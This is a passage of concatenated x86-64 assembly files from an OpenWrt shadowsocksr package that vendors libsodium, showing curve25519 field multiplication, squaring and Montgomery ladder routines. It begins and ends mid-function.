80(%rsp),%xmm2 paddd 96(%rsp),%xmm3 movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm2,%xmm2 pshufd $0x39,%xmm3,%xmm3 xorl 0(%rsi),%ecx xorl 48(%rsi),%r8d xorl 32(%rsi),%r9d xorl 16(%rsi),%eax movl %ecx,0(%rdi) movl %r8d,48(%rdi) movl %r9d,32(%rdi) movl %eax,16(%rdi) movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm2,%xmm2 pshufd $0x39,%xmm3,%xmm3 xorl 20(%rsi),%ecx xorl 4(%rsi),%r8d xorl 52(%rsi),%r9d xorl 36(%rsi),%eax movl %ecx,20(%rdi) movl %r8d,4(%rdi) movl %r9d,52(%rdi) movl %eax,36(%rdi) movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm2,%xmm2 pshufd $0x39,%xmm3,%xmm3 xorl 40(%rsi),%ecx xorl 24(%rsi),%r8d xorl 8(%rsi),%r9d xorl 56(%rsi),%eax movl %ecx,40(%rdi) movl %r8d,24(%rdi) movl %r9d,8(%rdi) movl %eax,56(%rdi) movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax xorl 60(%rsi),%ecx xorl 44(%rsi),%r8d xorl 28(%rsi),%r9d xorl 12(%rsi),%eax movl %ecx,60(%rdi) movl %r8d,44(%rdi) movl %r9d,28(%rdi) movl %eax,12(%rdi) movq 480(%rsp),%r9 movq 472(%rsp),%rcx add $1,%rcx mov %rcx,%r8 shr $32,%r8 movl %ecx,80(%rsp) movl %r8d,4+96(%rsp) movq %rcx,472(%rsp) cmp $64,%r9 ja ._bytesatleast65 jae ._bytesatleast64 mov %rdi,%rsi mov %rdx,%rdi mov %r9,%rcx rep movsb ._bytesatleast64: ._done: movq 416(%rsp),%r11 movq 424(%rsp),%r12 movq 432(%rsp),%r13 movq 440(%rsp),%r14 movq 448(%rsp),%r15 movq 456(%rsp),%rbx movq 464(%rsp),%rbp add %r11,%rsp xor %rax,%rax mov %rsi,%rdx ret ._bytesatleast65: sub $64,%r9 add $64,%rdi add $64,%rsi jmp ._bytesbetween1and255 #endif #if defined(__linux__) && defined(__ELF__) .section .note.GNU-stack,"",%progbits #endif

281677160/openwrt-package

2,671

luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/fe51_nsquare.S

#ifdef IN_SANDY2X /* This file is adapted from amd64-51/fe25519_square.s: Adding loop to perform n squares. */ #include "fe51_namespace.h" #include "consts_namespace.h" .p2align 5 .globl fe51_nsquare .globl _fe51_nsquare #ifdef __ELF__ .type fe51_nsquare, @function .type _fe51_nsquare, @function #endif fe51_nsquare: _fe51_nsquare: mov %rsp,%r11 and $31,%r11 add $64,%r11 sub %r11,%rsp movq %r11,0(%rsp) movq %r12,8(%rsp) movq %r13,16(%rsp) movq %r14,24(%rsp) movq %r15,32(%rsp) movq %rbx,40(%rsp) movq %rbp,48(%rsp) movq 0(%rsi),%rcx movq 8(%rsi),%r8 movq 16(%rsi),%r9 movq 24(%rsi),%rax movq 32(%rsi),%rsi movq %r9,16(%rdi) movq %rax,24(%rdi) movq %rsi,32(%rdi) mov %rdx,%rsi ._loop: sub $1,%rsi mov %rcx,%rax mul %rcx add %rcx,%rcx mov %rax,%r9 mov %rdx,%r10 mov %rcx,%rax mul %r8 mov %rax,%r11 mov %rdx,%r12 mov %rcx,%rax mulq 16(%rdi) mov %rax,%r13 mov %rdx,%r14 mov %rcx,%rax mulq 24(%rdi) mov %rax,%r15 mov %rdx,%rbx mov %rcx,%rax mulq 32(%rdi) mov %rax,%rcx mov %rdx,%rbp mov %r8,%rax mul %r8 add %r8,%r8 add %rax,%r13 adc %rdx,%r14 mov %r8,%rax mulq 16(%rdi) add %rax,%r15 adc %rdx,%rbx mov %r8,%rax imulq $19, %r8,%r8 mulq 24(%rdi) add %rax,%rcx adc %rdx,%rbp mov %r8,%rax mulq 32(%rdi) add %rax,%r9 adc %rdx,%r10 movq 16(%rdi),%rax mulq 16(%rdi) add %rax,%rcx adc %rdx,%rbp shld $13,%rcx,%rbp movq 16(%rdi),%rax imulq $38, %rax,%rax mulq 24(%rdi) add %rax,%r9 adc %rdx,%r10 shld $13,%r9,%r10 movq 16(%rdi),%rax imulq $38, %rax,%rax mulq 32(%rdi) add %rax,%r11 adc %rdx,%r12 movq 24(%rdi),%rax imulq $19, %rax,%rax mulq 24(%rdi) add %rax,%r11 adc %rdx,%r12 shld $13,%r11,%r12 movq 24(%rdi),%rax imulq $38, %rax,%rax mulq 32(%rdi) add %rax,%r13 adc %rdx,%r14 shld $13,%r13,%r14 movq 32(%rdi),%rax imulq $19, %rax,%rax mulq 32(%rdi) add %rax,%r15 adc %rdx,%rbx shld $13,%r15,%rbx movq REDMASK51(%rip),%rdx and %rdx,%rcx add %rbx,%rcx and %rdx,%r9 and %rdx,%r11 add %r10,%r11 and %rdx,%r13 add %r12,%r13 and %rdx,%r15 add %r14,%r15 imulq $19, %rbp,%rbp lea (%r9,%rbp),%r9 mov %r9,%rax shr $51,%r9 add %r11,%r9 and %rdx,%rax mov %r9,%r8 shr $51,%r9 add %r13,%r9 and %rdx,%r8 mov %r9,%r10 shr $51,%r9 add %r15,%r9 and %rdx,%r10 movq %r10,16(%rdi) mov %r9,%r10 shr $51,%r9 add %rcx,%r9 and %rdx,%r10 movq %r10,24(%rdi) mov %r9,%r10 shr $51,%r9 imulq $19, %r9,%r9 lea (%rax,%r9),%rcx and %rdx,%r10 movq %r10,32(%rdi) cmp $0,%rsi jne ._loop movq %rcx,0(%rdi) movq %r8,8(%rdi) movq 0(%rsp),%r11 movq 8(%rsp),%r12 movq 16(%rsp),%r13 movq 24(%rsp),%r14 movq 32(%rsp),%r15 movq 40(%rsp),%rbx movq 48(%rsp),%rbp add %r11,%rsp ret #endif

281677160/openwrt-package

3,040

luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/fe51_mul.S

#ifdef IN_SANDY2X /* This file is basically amd64-51/fe25519_mul.s. */ #include "fe51_namespace.h" #include "consts_namespace.h" .text .p2align 5 .globl _fe51_mul .globl fe51_mul _fe51_mul: fe51_mul: mov %rsp,%r11 and $31,%r11 add $96,%r11 sub %r11,%rsp movq %r11,0(%rsp) movq %r12,8(%rsp) movq %r13,16(%rsp) movq %r14,24(%rsp) movq %r15,32(%rsp) movq %rbx,40(%rsp) movq %rbp,48(%rsp) movq %rdi,56(%rsp) mov %rdx,%rcx movq 24(%rsi),%rdx imulq $19,%rdx,%rax movq %rax,64(%rsp) mulq 16(%rcx) mov %rax,%r8 mov %rdx,%r9 movq 32(%rsi),%rdx imulq $19,%rdx,%rax movq %rax,72(%rsp) mulq 8(%rcx) add %rax,%r8 adc %rdx,%r9 movq 0(%rsi),%rax mulq 0(%rcx) add %rax,%r8 adc %rdx,%r9 movq 0(%rsi),%rax mulq 8(%rcx) mov %rax,%r10 mov %rdx,%r11 movq 0(%rsi),%rax mulq 16(%rcx) mov %rax,%r12 mov %rdx,%r13 movq 0(%rsi),%rax mulq 24(%rcx) mov %rax,%r14 mov %rdx,%r15 movq 0(%rsi),%rax mulq 32(%rcx) mov %rax,%rbx mov %rdx,%rbp movq 8(%rsi),%rax mulq 0(%rcx) add %rax,%r10 adc %rdx,%r11 movq 8(%rsi),%rax mulq 8(%rcx) add %rax,%r12 adc %rdx,%r13 movq 8(%rsi),%rax mulq 16(%rcx) add %rax,%r14 adc %rdx,%r15 movq 8(%rsi),%rax mulq 24(%rcx) add %rax,%rbx adc %rdx,%rbp movq 8(%rsi),%rdx imulq $19,%rdx,%rax mulq 32(%rcx) add %rax,%r8 adc %rdx,%r9 movq 16(%rsi),%rax mulq 0(%rcx) add %rax,%r12 adc %rdx,%r13 movq 16(%rsi),%rax mulq 8(%rcx) add %rax,%r14 adc %rdx,%r15 movq 16(%rsi),%rax mulq 16(%rcx) add %rax,%rbx adc %rdx,%rbp movq 16(%rsi),%rdx imulq $19,%rdx,%rax mulq 24(%rcx) add %rax,%r8 adc %rdx,%r9 movq 16(%rsi),%rdx imulq $19,%rdx,%rax mulq 32(%rcx) add %rax,%r10 adc %rdx,%r11 movq 24(%rsi),%rax mulq 0(%rcx) add %rax,%r14 adc %rdx,%r15 movq 24(%rsi),%rax mulq 8(%rcx) add %rax,%rbx adc %rdx,%rbp movq 64(%rsp),%rax mulq 24(%rcx) add %rax,%r10 adc %rdx,%r11 movq 64(%rsp),%rax mulq 32(%rcx) add %rax,%r12 adc %rdx,%r13 movq 32(%rsi),%rax mulq 0(%rcx) add %rax,%rbx adc %rdx,%rbp movq 72(%rsp),%rax mulq 16(%rcx) add %rax,%r10 adc %rdx,%r11 movq 72(%rsp),%rax mulq 24(%rcx) add %rax,%r12 adc %rdx,%r13 movq 72(%rsp),%rax mulq 32(%rcx) add %rax,%r14 adc %rdx,%r15 movq REDMASK51(%rip),%rsi shld $13,%r8,%r9 and %rsi,%r8 shld $13,%r10,%r11 and %rsi,%r10 add %r9,%r10 shld $13,%r12,%r13 and %rsi,%r12 add %r11,%r12 shld $13,%r14,%r15 and %rsi,%r14 add %r13,%r14 shld $13,%rbx,%rbp and %rsi,%rbx add %r15,%rbx imulq $19,%rbp,%rdx add %rdx,%r8 mov %r8,%rdx shr $51,%rdx add %r10,%rdx mov %rdx,%rcx shr $51,%rdx and %rsi,%r8 add %r12,%rdx mov %rdx,%r9 shr $51,%rdx and %rsi,%rcx add %r14,%rdx mov %rdx,%rax shr $51,%rdx and %rsi,%r9 add %rbx,%rdx mov %rdx,%r10 shr $51,%rdx and %rsi,%rax imulq $19,%rdx,%rdx add %rdx,%r8 and %rsi,%r10 movq %r8,0(%rdi) movq %rcx,8(%rdi) movq %r9,16(%rdi) movq %rax,24(%rdi) movq %r10,32(%rdi) movq 0(%rsp),%r11 movq 8(%rsp),%r12 movq 16(%rsp),%r13 movq 24(%rsp),%r14 movq 32(%rsp),%r15 movq 40(%rsp),%rbx movq 48(%rsp),%rbp add %r11,%rsp mov %rdi,%rax mov %rsi,%rdx ret #endif

281677160/openwrt-package

33,827

luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/ladder.S

#ifdef IN_SANDY2X #include "ladder_namespace.h" #include "consts_namespace.h" .p2align 5 .globl ladder .globl _ladder #ifdef __ELF__ .type ladder, @function .type _ladder, @function #endif ladder: _ladder: mov %rsp,%r11 and $31,%r11 add $1856,%r11 sub %r11,%rsp movq %r11,1824(%rsp) movq %r12,1832(%rsp) movq %r13,1840(%rsp) movq %r14,1848(%rsp) movdqa v0_0(%rip),%xmm0 movdqa v1_0(%rip),%xmm1 movdqu 0(%rdi),%xmm2 movdqa %xmm2,0(%rsp) movdqu 16(%rdi),%xmm2 movdqa %xmm2,16(%rsp) movdqu 32(%rdi),%xmm2 movdqa %xmm2,32(%rsp) movdqu 48(%rdi),%xmm2 movdqa %xmm2,48(%rsp) movdqu 64(%rdi),%xmm2 movdqa %xmm2,64(%rsp) movdqa %xmm1,80(%rsp) movdqa %xmm0,96(%rsp) movdqa %xmm0,112(%rsp) movdqa %xmm0,128(%rsp) movdqa %xmm0,144(%rsp) movdqa %xmm1,%xmm0 pxor %xmm1,%xmm1 pxor %xmm2,%xmm2 pxor %xmm3,%xmm3 pxor %xmm4,%xmm4 pxor %xmm5,%xmm5 pxor %xmm6,%xmm6 pxor %xmm7,%xmm7 pxor %xmm8,%xmm8 pxor %xmm9,%xmm9 movdqu 0(%rdi),%xmm10 movdqa %xmm10,160(%rsp) movdqu 16(%rdi),%xmm10 movdqa %xmm10,176(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,192(%rsp) movdqu 32(%rdi),%xmm10 movdqa %xmm10,208(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,224(%rsp) movdqu 48(%rdi),%xmm10 movdqa %xmm10,240(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,256(%rsp) movdqu 64(%rdi),%xmm10 movdqa %xmm10,272(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,288(%rsp) movdqu 8(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,304(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,320(%rsp) movdqu 24(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,336(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,352(%rsp) movdqu 40(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,368(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,384(%rsp) movdqu 56(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,400(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,416(%rsp) movdqu 0(%rdi),%xmm10 movdqu 64(%rdi),%xmm11 blendps $12, %xmm11, %xmm10 pshufd $2,%xmm10,%xmm10 pmuludq v38_1(%rip),%xmm10 movdqa %xmm10,432(%rsp) movq 0(%rsi),%rdx movq 8(%rsi),%rcx movq 16(%rsi),%r8 movq 24(%rsi),%r9 shrd $1,%rcx,%rdx shrd $1,%r8,%rcx shrd $1,%r9,%r8 shr $1,%r9 xorq 0(%rsi),%rdx xorq 8(%rsi),%rcx xorq 16(%rsi),%r8 xorq 24(%rsi),%r9 leaq 800(%rsp),%rsi mov $64,%rax ._ladder_small_loop: mov %rdx,%r10 mov %rcx,%r11 mov %r8,%r12 mov %r9,%r13 shr $1,%rdx shr $1,%rcx shr $1,%r8 shr $1,%r9 and $1,%r10d and $1,%r11d and $1,%r12d and $1,%r13d neg %r10 neg %r11 neg %r12 neg %r13 movl %r10d,0(%rsi) movl %r11d,256(%rsi) movl %r12d,512(%rsi) movl %r13d,768(%rsi) add $4,%rsi sub $1,%rax jne ._ladder_small_loop mov $255,%rdx add $760,%rsi ._ladder_loop: sub $1,%rdx vbroadcastss 0(%rsi),%xmm10 sub $4,%rsi movdqa 0(%rsp),%xmm11 movdqa 80(%rsp),%xmm12 vpxor %xmm11,%xmm0,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm0 pxor %xmm13,%xmm11 vpxor %xmm12,%xmm1,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm1 pxor %xmm13,%xmm12 movdqa 16(%rsp),%xmm13 movdqa 96(%rsp),%xmm14 vpxor %xmm13,%xmm2,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm2 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm3,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm3 pxor %xmm15,%xmm14 movdqa %xmm13,0(%rsp) movdqa %xmm14,16(%rsp) movdqa 32(%rsp),%xmm13 movdqa 112(%rsp),%xmm14 vpxor %xmm13,%xmm4,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm4 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm5,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm5 pxor %xmm15,%xmm14 movdqa %xmm13,32(%rsp) movdqa %xmm14,80(%rsp) movdqa 48(%rsp),%xmm13 movdqa 128(%rsp),%xmm14 vpxor %xmm13,%xmm6,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm6 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm7,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm7 pxor %xmm15,%xmm14 movdqa %xmm13,48(%rsp) movdqa %xmm14,96(%rsp) movdqa 64(%rsp),%xmm13 movdqa 144(%rsp),%xmm14 vpxor %xmm13,%xmm8,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm8 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm9,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm9 pxor %xmm15,%xmm14 movdqa %xmm13,64(%rsp) movdqa %xmm14,112(%rsp) vpaddq subc0(%rip),%xmm11,%xmm10 psubq %xmm12,%xmm10 paddq %xmm12,%xmm11 vpunpckhqdq %xmm10,%xmm11,%xmm12 vpunpcklqdq %xmm10,%xmm11,%xmm10 vpaddq %xmm1,%xmm0,%xmm11 paddq subc0(%rip),%xmm0 psubq %xmm1,%xmm0 vpunpckhqdq %xmm11,%xmm0,%xmm1 vpunpcklqdq %xmm11,%xmm0,%xmm0 vpmuludq %xmm0,%xmm10,%xmm11 vpmuludq %xmm1,%xmm10,%xmm13 movdqa %xmm1,128(%rsp) paddq %xmm1,%xmm1 vpmuludq %xmm0,%xmm12,%xmm14 movdqa %xmm0,144(%rsp) paddq %xmm14,%xmm13 vpmuludq %xmm1,%xmm12,%xmm0 movdqa %xmm1,448(%rsp) vpaddq %xmm3,%xmm2,%xmm1 paddq subc2(%rip),%xmm2 psubq %xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm3 vpunpcklqdq %xmm1,%xmm2,%xmm1 vpmuludq %xmm1,%xmm10,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm3,%xmm10,%xmm2 movdqa %xmm3,464(%rsp) paddq %xmm3,%xmm3 vpmuludq %xmm1,%xmm12,%xmm14 movdqa %xmm1,480(%rsp) paddq %xmm14,%xmm2 vpmuludq %xmm3,%xmm12,%xmm1 movdqa %xmm3,496(%rsp) vpaddq %xmm5,%xmm4,%xmm3 paddq subc2(%rip),%xmm4 psubq %xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm4,%xmm5 vpunpcklqdq %xmm3,%xmm4,%xmm3 vpmuludq %xmm3,%xmm10,%xmm4 paddq %xmm4,%xmm1 vpmuludq %xmm5,%xmm10,%xmm4 movdqa %xmm5,512(%rsp) paddq %xmm5,%xmm5 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,528(%rsp) paddq %xmm14,%xmm4 vpaddq %xmm7,%xmm6,%xmm3 paddq subc2(%rip),%xmm6 psubq %xmm7,%xmm6 vpunpckhqdq %xmm3,%xmm6,%xmm7 vpunpcklqdq %xmm3,%xmm6,%xmm3 vpmuludq %xmm3,%xmm10,%xmm6 vpmuludq %xmm5,%xmm12,%xmm14 movdqa %xmm5,544(%rsp) pmuludq v19_19(%rip),%xmm5 movdqa %xmm5,560(%rsp) paddq %xmm14,%xmm6 vpmuludq %xmm7,%xmm10,%xmm5 movdqa %xmm7,576(%rsp) paddq %xmm7,%xmm7 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,592(%rsp) paddq %xmm14,%xmm5 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,608(%rsp) vpaddq %xmm9,%xmm8,%xmm3 paddq subc2(%rip),%xmm8 psubq %xmm9,%xmm8 vpunpckhqdq %xmm3,%xmm8,%xmm9 vpunpcklqdq %xmm3,%xmm8,%xmm3 movdqa %xmm3,624(%rsp) vpmuludq %xmm7,%xmm12,%xmm8 movdqa %xmm7,640(%rsp) pmuludq v19_19(%rip),%xmm7 movdqa %xmm7,656(%rsp) vpmuludq %xmm3,%xmm10,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm9,%xmm10,%xmm7 movdqa %xmm9,672(%rsp) paddq %xmm9,%xmm9 vpmuludq %xmm3,%xmm12,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,688(%rsp) pmuludq v19_19(%rip),%xmm12 vpmuludq %xmm9,%xmm12,%xmm3 movdqa %xmm9,704(%rsp) paddq %xmm3,%xmm11 movdqa 0(%rsp),%xmm3 movdqa 16(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm13 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm0 movdqa 32(%rsp),%xmm3 movdqa 80(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm2 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm1 movdqa 48(%rsp),%xmm3 movdqa 96(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm4 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm6 movdqa 64(%rsp),%xmm3 movdqa 112(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm5 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm8 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $26,%xmm6,%xmm3 paddq %xmm3,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm13,%xmm3 paddq %xmm3,%xmm0 pand m25(%rip),%xmm13 vpsrlq $25,%xmm5,%xmm3 paddq %xmm3,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm0,%xmm3 paddq %xmm3,%xmm2 pand m26(%rip),%xmm0 vpsrlq $26,%xmm8,%xmm3 paddq %xmm3,%xmm7 pand m26(%rip),%xmm8 vpsrlq $25,%xmm2,%xmm3 paddq %xmm3,%xmm1 pand m25(%rip),%xmm2 vpsrlq $25,%xmm7,%xmm3 vpsllq $4,%xmm3,%xmm9 paddq %xmm3,%xmm11 psllq $1,%xmm3 paddq %xmm3,%xmm9 paddq %xmm9,%xmm11 pand m25(%rip),%xmm7 vpsrlq $26,%xmm1,%xmm3 paddq %xmm3,%xmm4 pand m26(%rip),%xmm1 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpunpcklqdq %xmm13,%xmm11,%xmm3 vpunpckhqdq %xmm13,%xmm11,%xmm9 vpaddq subc0(%rip),%xmm9,%xmm10 psubq %xmm3,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm3,%xmm10,%xmm9 punpcklqdq %xmm3,%xmm10 vpmuludq %xmm10,%xmm10,%xmm3 paddq %xmm10,%xmm10 vpmuludq %xmm9,%xmm10,%xmm11 vpunpcklqdq %xmm2,%xmm0,%xmm12 vpunpckhqdq %xmm2,%xmm0,%xmm0 